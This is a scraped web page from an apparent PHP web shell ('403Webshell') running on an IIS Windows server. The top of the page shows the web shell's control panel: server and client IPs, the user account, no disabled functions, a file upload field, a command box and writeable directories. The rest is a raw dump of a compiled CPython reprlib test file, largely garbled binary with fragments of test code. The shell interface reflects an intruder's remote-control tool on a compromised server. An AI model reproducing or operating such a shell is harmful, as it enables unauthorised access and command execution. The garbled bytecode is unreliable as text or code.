403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_reprlib.cpython-315.pyc
R
>lqj:c��Qs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]QH$G
s
Gs]QH0G
s
]QH8Gs]QH8Gs]QH8GsQsQQ\O(2sQ	sQ
Q\O(2sQQ
2sQQ2sQQ2sQQ\2sQQ2sQQ\O(2s\Q6Xc\O>2P!P!)z/
Test cases for the repr module
Nick Mathewson
)�verbose�EqualToForwardRef)�create_empty_file)�repr)�Repr)�recursive_reprc�8�Qo[U2FDoU1oJ	U!)N�)�range)�nesting�t�is&  �&C:\Python315\\Lib\test\test_reprlib.py�nestedTuplers!��
�A�
�7�^��
�D����H�c�`�\sQs]snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsUsP!)�	ReprTestsc��Q]eQ]fQ]gQ]hQ]iQ]jQ]kQ]lQ]mQ	]nQ
]oQQQQ-
o[2oUO2FDvq4[V#U2J	[Q-U@oSFD)oUO[	V#2[	VS2UQ
5J+	P!)�maxlevel�maxtuple�maxlist�maxarray�maxdict�maxset�maxfrozenset�maxdeque�	maxstring�maxlong�maxother�	fillvalue�indent)�msg�pxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx�qxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxr)r�items�setattr�assertEqual�getattr)�self�example_kwargs�r1�attr�val�r2s&     r
�test_init_kwargs�ReprTests.test_init_kwargss��������s����s��c��C������s������i�
���V��'�-�-�/�I�D��B�c�"�0�
�
#�N�
#��"�D����W�R�.���0A�t��L�#rc��UOoU[Q2Q2U[Q2Q2Qo[U2Q*Q*[U2QP*oU[U2U2U[Q2[Q22Q	o[U2Q*Q*[U2QP*oU[U2U2P!)
�abcz'abc'�abcdefghijklmnopz'abcdefghijklmnop'�N�
N�...z"'�<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbb��z�""""""""""""""""""""""""""""""'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''')r%�rr)r'�eq�s�expecteds&   r
�test_string�ReprTests.test_string5s���
�
�
��
�1�U�8�W��
�1�
� �!5�6�����7�3�<�%�'�$�q�'�#�$�-�7��
�1�Q�4���
�1�U�8�T�%�[�!�����7�3�<�%�'�$�q�'�#�$�-�7��
�1�Q�4��rc�r�UOoU[Q2Q2QoU[U2Q2[2o]Um[	U2PQQ*oUUO	U2U2[2oQUm]Um[	U2PQQ*oUUO	U2U2P!)	��(1,)�	(1, 2, 3)z...)�+++z+++)�r>�r>�����)r%r7rrrr)r'r8�t3r,r:�r3s&     r
�
test_tuple�ReprTests.test_tupleCs���
�
�
��
�1�T�7�F��
��
�1�R�5�+��
�V�������8�C�R�=�6�)��
�2�7�7�2�;��!��V����������8�C�R�=�6�)��
�2�7�7�2�;��!rc	��]QHGo]QHGoUOoU[	Q(2Q2U[	Q)2Q2U[	Q*2Q2U[	Q+2Q2U[	Q,2Q2U[	,2Q2U[	],2Q	2U[	,Q*N2Q
2U[	,Q+N2Q2U[	,Q,N2Q2U[	[,22Q
2U[	[],22Q2U[	[,Q*N22Q2U[	[,Q+N22Q2U[	[,Q,N22Q2U[	[
,22Q2U[	[
],22Q2U[	[
,Q*N22Q2U[	[
,Q+N22Q2U[	[
,Q,N22Q2U[	U,Q,N22Q2U[	-2Q2Q]Q]Q]Q]-oU[	U2Q2]UQ$U[	U2Q2U[	UQ 22Q!2U[	UQ ],22Q"2U[	UQ ]],22Q#2U[	UQ ,Q*N22Q$2U[	UQ ,Q-N22Q%2U[	UQ ,Q.N22Q&2U[	UQ ,Q+N22Q'2P!)/�)�array)�deque�()r?r@z(1, 2, 3, 4, 5, 6)z(1, 2, 3, 4, 5, 6, ...)z[]z[1]z	[1, 2, 3]z[1, 2, 3, 4, 5, 6]z[1, 2, 3, 4, 5, 6, ...]zset()�{1}�	{1, 2, 3}�{1, 2, 3, 4, 5, 6}�{1, 2, 3, 4, 5, 6, ...}zfrozenset()�frozenset({1})�frozenset({1, 2, 3})�frozenset({1, 2, 3, 4, 5, 6})�"frozenset({1, 2, 3, 4, 5, 6, ...})zdeque([1, 2, 3, 4, 5, 6, ...])z{}�alice�bob�charles�davez/{'alice': 1, 'bob': 2, 'charles': 3, 'dave': 4}�arthurz6{'alice': 1, 'arthur': 1, 'bob': 2, 'charles': 3, ...}rz
array('i')zarray('i', [1])zarray('i', [1, 2])zarray('i', [1, 2, 3])zarray('i', [1, 2, 3, 4])zarray('i', [1, 2, 3, 4, 5])z array('i', [1, 2, 3, 4, 5, ...])rrBrC)r>rDrE���)r>rDrEr]r^r_�)r>rDrEr])r>rDrEr]r^)rM�collectionsrNr%r7�set�	frozenset)r'rMrNr8�ds&    r
�test_container�ReprTests.test_containerVs����%�
�
�
��
�1�R�5�$��
�1�T�7�F��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?�	�1�R�5�$��
�1�a�S�6�5��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?�	�1�S��W�:�w��
�1�S�!��X�;���
�1�S��^��k�*�
�1�S�#�
$�%�';�<�
�1�S�&�
'�(�*C�D�	�1�Y�r�]��]�+�
�1�Y��s�^��.�/�
�1�Y�y�
!�"�$:�;�
�1�Y�)�
*�+�-L�M�
�1�Y�,�
-�.�0T�U�	�1�U�(�
)�*�,L�M�	�1�R�5�$��
�a���9�a���;��
�1�Q�4�B�C���(��
�1�Q�4�I�J�	�1�U�3�Z�=�,�'�
�1�U�3���_��0�1�
�1�U�3��A��
� �"6�7�
�1�U�3�	�
"�#�%<�=�
�1�U�3��
%�&�(B�C�
�1�U�3��
(�)�+H�I�
�1�U�3�*�
+�,�5�	7rc��UOoU[].2Q2U[.Ql2Q2U[.Ql2Q2U[.Ql2Q2P!)r>rPrQrRrS�r>rDrE�r>rDrEr]r^r_�r>rDrEr]r^r_r`�r%r7�r'r8s& r
�test_set_literal�ReprTests.test_set_literal�sM��
�
�
��
�1�a�S�6�5��
�1�Y�<��%�
�1�
� �"6�7�
�1�
"�#�%>�?rc��UOoU[[].22Q2U[[.Ql22Q2U[[.Ql22Q2U[[.Ql22Q2P!)r>rTrUrVrWrhrirj)r%r7rcrls& r
�test_frozenset�ReprTests.test_frozenset�sd��
�
�
��
�1�Y��s�^��.�/�
�1�Y�y�
!�"�$:�;�
�1�Y�)�
*�+�-L�M�
�1�Y�,�
-�.�0T�Urc�t`�QFD'oUO[U2[U22J)	[O2n]dR]*
1FDzoUOQU0UQ59^tt^2]
U*o[U2Q*Q*[U2QP*oUO[U2U2PPP2J|	U1QkoRoUOQU0UQ59^tt^2]
U*oUO
[[U2UO[U2UV2]*22PPP2R]*]R*1FCDoUOU]d2UOQU0UQ59^tt^2]
U*oUO
[[U2UO[U2UV2]*22PPP2UOQUQ0UQ59^tt^2]
U*]*
oUO
[[U2UO[U2UV2]*22PPP2CJ	P!)%fhCJ)9h)%fhCKD9h)%fhK�9h)%fhCJY9h)	�{z10 ** )�k:N�Nr4c�F:�QUOOQUQRQ0!)�<z instance with roughly z digits \(limit at z\) at 0x[a-f0-9]+>)�	__class__�__name__)�nrd�
max_digitss&&�r
�re_msg�&ReprTests.test_numbers.<locals>.re_msg�s6�������-�-�.�.E�a�S�I*�*4��5G�I�
Jrz - 1)rsgUUUUUU�?i��)
r%r7r�sys�get_int_max_str_digits�subTest�assertRaises�
ValueError�assertRegex�
assertGreater)r'�xrtrzr:r|r{s&     @r
�test_numbers�ReprTests.test_numbers�s����A����Q�q�T�4��7�+� ��/�/�1�
��z�A�~�&�A�����q�c�l�a��0�0��!�G����7�3�<�%�/�$�q�'�#�$�-�?��� � ��1��x�0�1�0�'�	J�
��
�\�\�F�1�#�,�!�\�
,�
,��a��A����j�$��2����Q�q�T�6�!��U�#3�4�-�
�q�.�!�j�.�1�A����q�#�&�����q�c�l�a��0�0��!�G���!�!�*�d�A�6�� � ��1��v�a�Q��'7�8�1�����q�c��.�!��4�4��!�G�a�K���!�!�*�d�A�6�� � ��1��v�a�Q��'7�8�5�4�
2�1�0�0��-�
,�
,��1�0��5�4�4�sL�3AI)	�6A
I>�A
J	�AJ%	�)I;
�2I;
�>J	�J	�J"
�J"
�%J7
�.J7
c��UOo[Q2oU[U2[U22[Q2o[U2Q*Q*[U2QP*oU[U2U2[	2oU[U2Q[U2*2[[2oUO
UQ2UOUQ2UOUOQ2]]
,2P!)�ar2r4z&<ClassWithFailingRepr instance at %#x>z<class �>��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxr6)
r%�
ClassWithReprr7r�ClassWithFailingRepr�id�assertStartsWith�assertEndsWith�assertIn�find)r'r8�i1�i2r:�i3r9s&      r
�
test_instance�ReprTests.test_instance�s���
�
�
��
�3�
��
�1�R�5�$�r�(��
�8�
$����8�C�=�5�(�4��8�C�D�>�9��
�1�R�5�(��
!�
#��
�1�R�5�;�B�r�F�B�D�
�"�#�����a��+����A�s�#��
�
�a�f�f�U�m�b�"�X�.rc�D�[Q2oUOUQ2P!)c��U!�Nr�r�s&r
�<lambda>�'ReprTests.test_lambda.<locals>.<lambda>�s��1rz0<function ReprTests.test_lambda.<locals>.<lambda)rr�)r'r7s& r
�test_lambda�ReprTests.test_lambda�s���������a�!S�Trc��UOoU[[2Q2UO[PO2Q2P!)z<built-in function hash>z*<built-in method split of str object at 0x)r%r�hashr��splitrls& r
�test_builtin_function�ReprTests.test_builtin_function�s7��
�
�
��
�4��:�1�2����d�2�8�8�n�8�	:rc	���UOoU[[]22Q2U[[]]22Q2U[[]]]22Q2P!)r>zrange(0, 1)zrange(1, 2)zrange(1, 4, 3))r%rr	rls& r
�
test_range�ReprTests.test_range�sL��
�
�
��
�4��a��>�=�)�
�4��a����m�,�
�4��a��A���!1�2rc���UOoU[,,,,,,,2Q2U[,,,,,,,,2Q2U[[]22Q2U[[]22Q2U[[]2[]2-2Q2U[[]2[]2-2Q2U[-,,,,,,2Q2U[-,,,,,,,2Q2P!)z[[[[[[[]]]]]]]z[[[[[[[...]]]]]]]z(((((((),),),),),),)z(((((((...),),),),),),)z&{((((((),),),),),): ((((((),),),),),)}z,{((((((...),),),),),): ((((((...),),),),),)}z[[[[[[{}]]]]]])r%r7rrls& r
�test_nesting�ReprTests.test_nesting�s���
�
�
��
�1�2�$���z�l�^��.�/�
�1�B�4�&��
�|�n�
�� 3�4�
�1�[��^��4�5�
�1�[��^��7�8�
�1�{�1�~��A��
0�1�3�	5�
�1�{�1�~��A��
0�1�9�	;�	�1�2�$���z�l�^��.�/�
�1�B�4�&��
�|�n�
�� 3�4rc��QoU2O]*oUO[U2Q2UO[U2Q2P!)c�`�]*nU1QkoU!)�*c�
:�R!r�rr�s�r
�inner�4ReprTests.test_cell.<locals>.get_cell.<locals>.inner�s����rr)r�r�s @r
�get_cell�%ReprTests.test_cell.<locals>.get_cell�s����A�
��Lrz6<cell at 0x[0-9A-Fa-f]+: int object at 0x[0-9A-Fa-f]+>z<cell at 0x.*\.\.\..*>)�__closure__r�rr7)r'r�r�s&  r
�	test_cell�ReprTests.test_cell�sK��	�

�J�"�"�1�%������a��#C�	D�����1��8�9rc�p�UOoU[[O2Q2QQ2o[	UO
2oUO[U2QUO
8Q02[
UO
2oUO[U2QUO
8Q02P!)z"<method 'items' of 'dict' objects>c�(`�\sQsQsnQsQsUsP!)�%ReprTests.test_descriptors.<locals>.C�c��P!r�r)�clss&r
�foo�)ReprTests.test_descriptors.<locals>.C.foos��$rr)ry�
__module__�__qualname__�__firstlineno__r��__static_attributes__�__classdictcell__��
__classdict__s@r
�Cr�s�����rr�z<staticmethod(z)>z
<classmethod()r%r�dictr#�staticmethodr��classmethod)r'r8r�r�s&   r
�test_descriptors�ReprTests.test_descriptors�s���
�
�
��
�4��
�
��A�B�
	�	�����������a��N�1�5�5�)�2�">�?�����������a��M�!�%�%��"�"=�>rc��[,QN2o[U2oQ]Q]-o[U2[U2[U2P!)��?�@)r�r�y@)rbrcr7)r'r��y�zs&   r
�test_unsortable�ReprTests.test_unsortable
s9��
�����a�L��
��B��N��	�!��	�!��	�!�rc��QQQ[PQ5Q1[P
Q5Q1[P	Q5Q1[]Q5Q1[]Q5Q1[]Q5Q1[]]Q5Q1[PQ5Q1[QQ5Q1[QQ5Q11
-QPQ[PQ5Q1[P
Q5Q1[P	Q5Q1[]Q5Q1[]Q5Q1[]Q5Q1[]]Q5Q1[PQ5Q1[QQ5Q1[QQ5Q11
-Q]QQ	P	Q
,-,Q[PQ5Q1[P
Q5Q1[P	Q5Q
1[]Q5Q1[]Q5Q
1[]Q5Q1[]]Q5Q1[PQ5Q1[QQ5Q1[QQ5Q11
-Q]QQQ[Q2[Q2,,-Q[PQ5Q1[P
Q5Q1[P	Q5Q1[]Q5Q1[]Q5Q1[]Q5Q1[]]Q5Q1[PQ5Q1[QQ5Q1[QQ5Q11
-,oSFD�oUOUQ*Q59^tt^2UQ*FD�vq4UOUQ59^tt^2[	2oUO2FDvqg[
VVU2J	UOUQ*2o[OU2oUOV�2PPP2J�	PPP2J�	P!)%fhJ�9h)%fhJ�9h) �object�tests�rrO)rrz-->z....z''�spam�eggs�hamz>                        [1, 'spam', {'eggs': True, 'ham': []}]z�                        [
                        1,
                        'spam',
                        {
                        'eggs': True,
                        'ham': [],
                        },
                        ]z�                        [
                         1,
                         'spam',
                         {
                          'eggs': True,
                          'ham': [],
                         },
                        ]a                        [
                            1,
                            'spam',
                            {
                                'eggs': True,
                                'ham': [],
                            },
                        ]a                        [
                        -->1,
                        -->'spam',
                        -->{
                        -->-->'eggs': True,
                        -->-->'ham': [],
                        -->},
                        ]a                        [
                        ....1,
                        ....'spam',
                        ....{
                        ........'eggs': True,
                        ........'ham': [],
                        ....},
                        ]�twosthreezZ                        {1: 'two', b'three': [(4.5, 6.25), [{8, 9}, frozenset({10, 11})]]}a                        {
                        1: 'two',
                        b'three': [
                        (
                        4.5,
                        6.25,
                        ),
                        [
                        {
                        8,
                        9,
                        },
                        frozenset({
                        10,
                        11,
                        }),
                        ],
                        ],
                        }aI                        {
                         1: 'two',
                         b'three': [
                          (
                           4.5,
                           6.25,
                          ),
                          [
                           {
                            8,
                            9,
                           },
                           frozenset({
                            10,
                            11,
                           }),
                          ],
                         ],
                        }a�                        {
                            1: 'two',
                            b'three': [
                                (
                                    4.5,
                                    6.25,
                                ),
                                [
                                    {
                                        8,
                                        9,
                                    },
                                    frozenset({
                                        10,
                                        11,
                                    }),
                                ],
                            ],
                        }z�                        {
                            1: 'two',
                            b'three': [
                                (...),
                                [...],
                            ],
                        }a�                        {
                        -->1: 'two',
                        -->b'three': [
                        -->-->(
                        -->-->-->4.5,
                        -->-->-->6.25,
                        -->-->),
                        -->-->[
                        -->-->-->{
                        -->-->-->-->8,
                        -->-->-->-->9,
                        -->-->-->},
                        -->-->-->frozenset({
                        -->-->-->-->10,
                        -->-->-->-->11,
                        -->-->-->}),
                        -->-->],
                        -->],
                        }a�                        {
                        ....1: 'two',
                        ....b'three': [
                        ........(
                        ............4.5,
                        ............6.25,
                        ........),
                        ........[
                        ............{
                        ................8,
                        ................9,
                        ............},
                        ............frozenset({
                        ................10,
                        ................11,
                        ............}),
                        ........],
                        ....],
                        })�test_object)�
repr_settingsr)g@g@)��	)�
�)r�rbrcr�rr#r$r�textwrap�dedentr%)	r'�
test_cases�	test_caser��
expected_reprr7�	attribute�value�resulting_reprs	&        r
�test_valid_indent�ReprTests.test_valid_indents����"����&��-���'��.���&��-���^�T�*���^�T�*���^�T�*���Q�/��6���_�d�+���'��.���(�$�/��
� �"����&��-���'��.���&��-���^�T�*���^�T�*���^�T�*���Q�/��6���_�d�+���'��.���(�$�/��
� �1�f�v�t�U�B�&?�@����&�)B�C���'�*����&�)����^�&����^�&����^�&����Q�/�2����_�'����'�*����(�+��WT�W
�r��u��#��V��i��&9�:������&�)^�_���'�*��(��&�)��(��^�&��(��^�&��(��^�&��(��Q�/�2����_�'��(��'�*��(��(�+��ok�t
�ol
�
�Z	$�I����)�H�*=��>�>�4=�g�4F�4F�0�M����M��B�B� �F��0=�0C�0C�0E�,�I�#�A�%�8�1F�)*���	�(�0C�)D��(0���
�(F�
��(�(��G�
C�B�5G�?�>�$�C�B�B��?�>�>�s1�,*L5	�A1L!�L5	�!L2�*L2�,	L5	�5M
�>M
c��]QQP	Q,-,oP[Q11Q[Q11Q[P11,[P11Q[P11],[P11[2[P11,oSFD�vovqEUOUQ59^tt^2[	2oV6mS9%f
[
U2oUOVE29^tt^2UOU2PPP2PPP2J�	P!)%fhK9h)%fhJ�9h)	r>r�r�r�z[Nn]egative|[Pp]ositiver����r)r])	r��	TypeErrorr�r�rr�type�assertRaisesRegexr)r'r�r�r�expected_error�expected_msgr7s&      r
�test_invalid_indent�ReprTests.test_invalid_indentMs���&�6�4���";�<��
�*�7�8�9�
�*�7�8�9�
�)�T�"�#�
�)�T�"�#�
�I�t�$�%��T�I�t�$�%�
�X�	�4�(�)�
�
�7A�2�F�2�^����V��,�,��F��!��+�@�@�$�v�,����+�+�N�I�I��F�F�;�'�J�	-�,�7A�
J�I��	-�,�,�s6�:C6	�&C6	�:C#
�
C6	�#C3�,C3�.C6	�6D
�?D
c�\�QQ2oUO[U22Q2P!)c�(`�\sQsQsnQsQsUsP!)�3ReprTests.test_shadowed_stdlib_array.<locals>.array�bc��Q!)�not array.arrayr�r's&r
�__repr__�<ReprTests.test_shadowed_stdlib_array.<locals>.array.__repr__cs��(rr�ryr�r�r�r�r�r�r�s@r
rMr�bs����
)�
)rrMr�rk)r'rMs& r
�test_shadowed_stdlib_array�$ReprTests.test_shadowed_stdlib_array`s%��	)�	)�	
����5�7��%6�7rc�\�QQ2oUO[U22Q2P!)c�(`�\sQsQsnQsQsUsP!)�-ReprTests.test_shadowed_builtin.<locals>.list�kc��Q!)�not builtins.listrr�s&r
r��6ReprTests.test_shadowed_builtin.<locals>.list.__repr__ls��*rrr�r�s@r
�listrks����
+�
+rrrrk)r'rs& r
�test_shadowed_builtin�ReprTests.test_shadowed_builtinhs%��	+�	+�	
����4�6��$7�8rc��QQ[2oU2oUOUO[O2Q2P!)c�(`�\sQsQsnQsQsUsP!)�*ReprTests.test_custom_repr.<locals>.MyRepr�rc�T�UOQ7c
UO![U2!)�<stdin>>r�<stderr>�<stdout>)�namer�r'�obj�levels&&&r
�repr_TextIOWrapper�=ReprTests.test_custom_repr.<locals>.MyRepr.repr_TextIOWrapperts"���8�8�B�B��8�8�O��C�y� rr)ryr�r�r�rr�r�r�s@r
�MyReprrrs����
!�
!rrr)rr%rr~�stdin)r'r�aReprs&  r
�test_custom_repr�ReprTests.test_custom_reprqs4��	!�T�	!����������C�I�I�.�	�:rc��QQ2oU2oQ[U2mUO[U2OQ2QQ[2oU2oUOUO	U2Q2P!)c��\sQsQsQsP!)�DReprTests.test_custom_repr_class_with_spaces.<locals>.TypeWithSpaces�}r)ryr�r�r�r�rrr
�TypeWithSpacesr}s��rr ztype with spacesc�(`�\sQsQsnQsQsUsP!)�<ReprTests.test_custom_repr_class_with_spaces.<locals>.MyRepr�c��Q!)�Type With Spacesrrs&&&r
�repr_type_with_spaces�RReprTests.test_custom_repr_class_with_spaces.<locals>.MyRepr.repr_type_with_spaces�s��)rr)ryr�r�r�r&r�r�r�s@r
rr"�s����
*�
*rrr%)r�ryr%rr)r'r rrrs&    r
�"test_custom_repr_class_with_spaces�,ReprTests.test_custom_repr_class_with_spaces|sk��	�	�
���-��Q�������a��)�)�+=�>�	*�T�	*�
���������A��(:�;rr)ryr�r�r�r-r;rIrermrpr�r�r�r�r�r�r�r�r�r�r�r�rrr(r�r�r�s@r
rrs|����M�.�"�&37�j@�V� 9�D/�"U�
:�3�5�"	:�
?�
�wH�r	(�&8�9�	;�<�<rrc��[UQQQ59^tt^2oUOU2PPP2P!)%fhP!9h)�w�ASCII)�encoding)�open�write)�path�text�fps&& r
�
write_filer3�s-��	
�d�C�'�	*�	*�b�
�����
+�	*�	*�	*�s�4�A	�A	c�`�\sQsQsnQsQsQsQsQsQs	\
OQ2Q	2sQ
s
QsQs\
OQ
2Q2sQsUsP!)�LongReprTest��3areallylongpackageandmodulenametotestreprtruncationc�\�[OOUO2Um[OOUOUO2Um[OUOP	Q5[OUO2[[OOUOQ22[OUO
P	Q5[OUO
2[[OOUO
Q22[O2Um[OO]UO2[O2P!)T)�
ignore_errorsz__init__.py)�osr0�join�longname�pkgname�
subpkgname�shutil�rmtree�mkdirr�getcwd�herer~�insert�	importlib�invalidate_cachesr�s&r
�setUp�LongReprTest.setUp�s����w�w�|�|�D�M�M�2����'�'�,�,�t�}�}�d�m�m�D����
�
�d�l�l�$�7�
��������"�'�'�,�,�t�|�|�]�C�D��
�
�d�o�o�T�:�
������!��"�'�'�,�,�t���
�F�G��I�I�K��	�������4�9�9�%�	�#�#�%rc
�0�,o[OUO2FDDvq#oV4*FD1oUO[OOV%22J3	JF	UOUO2UO
2UO2SFDVo[OOU2%c[OU2J@[OU2JX	[O]P!)rL)r:�walkr=�appendr0r;�sort�reverse�isdir�rmdir�remover~)r'�actions�dirpath�dirnames�	filenamesr�ps&      r
�tearDown�LongReprTest.tearDown�s�����,.�G�G�D�L�L�,A�(�G�y� �,�,�����r�w�w�|�|�G�:�;�-�-B�	���t�|�|�$����������A��w�w�}�}�Q���������	�	�!��	�

�H�H�Q�Krc�L�[UO2oU][UO2]***
oU[U2]*[Q2**
oU[[OOQ22*[Q2*
o[OQ6Xc"UQ6�cUOQU*2P![OQ6Xc[%c[QU2P!P!P![cSoKxh9h)rD�.pyzx.py�nt�zDtest paths too long (%d characters) for Windows' 260 character limitzcached_path_len =)�lenrCr<rE�util�cache_from_source�NotImplementedErrorr:r�skipTestr�print)r'�module_name�source_path_len�cached_path_lens&&  r
�_check_path_limitations�$LongReprTest._check_path_limitations�s����d�i�i�.���1��D�M�M� 2�Q� 6�7�7���3�{�+�a�/�#�e�*�<�<��	.�.��I�N�N�4�4�V�<�=� >�@C�F�� L�O��7�7�d�?��#�5�
�M�M�`�+�,�
-�
�W�W��_����%��7�")�_��#�	.�-�O�	.�s�+?D�	D#�D#�"D#c��PUmUOUO2[[O
O
UOUOQ*22[O2]QH*GoSoUO[U2QUO8QUO8Q02UO[[ 2Q2P!)NrY)r7z<module z from r�z<module 'sys' (built-in)>)�maxDiffrer=rr:r0r;r>rErF�gareallylongpackageandmodulenametotestreprtruncation.areallylongpackageandmodulenametotestreprtruncationr7r%rry�__file__r~)r'r7�modules&  r
�test_module�LongReprTest.test_module�s�������$�$�T�\�\�2��"�'�'�,�,�t������u�8L�M�N��#�#�%�	p�D������f�����QW�Q`�Q`�'a�b�����c��$?�@rc�:�UOQ2UOo[[OOUOQ2Q2[O2]QH&G
oU[UO2QUO*2P!)r�zfoo.pyzclass foo(object):
    pass
)r�z<class '%s.foo'>)
rer%r3r:r0r;r>rErFrir�rry)r'r8r�s&  r
�	test_type�LongReprTest.test_type�sl���$�$�U�+�
�
�
���2�7�7�<�<�����:�=�	�	�#�#�%��
�4����=�!�C�L�L�0�	2rzneed a suitable objectc��P!r�rr�s&r
r��LongReprTest.test_object�s��	
rc�4�UOQ2[[OO	UO
Q2Q2[O2]QH"G	oUO[UO2QUO*2P!)�barzbar.pyzclass bar:
    pass
)rtz<class '%s.bar'>)
rer3r:r0r;r>rErFrirtr%rry)r'rts& r
�
test_class�LongReprTest.test_class�se���$�$�U�+��2�7�7�<�<�����:�=�	�	�#�#�%������c�g�g��(:�S�\�\�(I�Jrc�@�UOQ2[[OO	UO
Q2Q2[O2]QH"G	oUO2oUO[U2QUO*2P!)�bazzbaz.pyzclass baz:
    pass
)rxz<%s.baz object at 0x)
rer3r:r0r;r>rErFrirxr�rry)r'rx�ibazs&  r
r��LongReprTest.test_instance�sn���$�$�U�+��2�7�7�<�<�����:�=�	�	�#�#�%���w�w�y�����d�4�j�"�S�\�\�1�	3rc���UOQ2UOo[[OOUOQ2Q2[O2]QH&G
o[UOO2oUOUQ2UO2o[UO2oUOUQUO8Q02P!)�quxzqux.pyz�class aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    def amethod(self): pass
)r|z�<function aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.amethodz�<bound method aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.amethod of <z�.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa object at 0x)rer%r3r:r0r;r>rErFrir|r��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�amethodr�ry)r'r8r|r7�iquxs&    r
�test_method�LongReprTest.test_method�s����$�$�U�+�
�
�
���2�7�7�<�<�����:�=�	�	�#�#�%����^�^�f�f�
g�����a�"~�	��\�\�^�����������a��|�|�
�	 rz1needs a built-in function with a really long namec��P!r�rr�s&r
r��"LongReprTest.test_builtin_functions��	
r)rCrhr=r>)ryr�r�r�r<rGrVrerlro�unittest�skipr�rur�r�r�r�r�r�s@r
r5r5�sq����D�H�&�"
�8�*A�
2��]�]�+�,�
�-�
�
	K�
3� �&�]�]�F�G�
�H�
rr5c�.`�\sQsQsnQsQsQsUsP!)r��c��VmP!r��r9)r'r9s&&r
